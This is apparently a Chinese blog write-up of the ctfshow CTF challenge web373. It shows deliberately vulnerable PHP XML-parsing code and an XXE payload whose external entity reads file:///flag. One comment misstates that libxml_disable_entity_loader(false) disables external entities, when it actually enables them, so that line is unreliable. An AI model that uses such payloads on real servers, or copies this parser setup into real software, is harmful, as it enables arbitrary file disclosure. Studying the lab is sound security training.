xxe

XXE漏洞介绍

XXE漏洞详解

web373

1
2
3
4
5
6
7
8
9
10
11
12
13
14
error_reporting(0);
libxml_disable_entity_loader(false);
$xmlfile = file_get_contents('php://input');
if(isset($xmlfile)){
$dom = new DOMDocument();
// 加载xml实体,参数为替代实体、加载外部子集
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
// 把 DOM 节点转换为 SimpleXMLElement 对象
$creds = simplexml_import_dom($dom);
// 节点嵌套
$ctfshow = $creds->ctfshow;
echo $ctfshow;
}
highlight_file(__FILE__);

libxml_disable_entity_loader(false);
禁止加载外部实体。一个实体由三部分构成:一个和号(&),一个实体名称,以及一个分号(;)
flag的路径是/flag

在burpsuite中post

1
2
3
4
5
6
7
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE XXE [
<!ENTITY cmd SYSTEM "file:///flag">
]>
<yasuo>
<ctfshow>&cmd;</ctfshow>
</yasuo>


xxe
http://example.com/2023/10/06/xxe/
作者
奇怪的奇怪
发布于
2023年10月6日
许可协议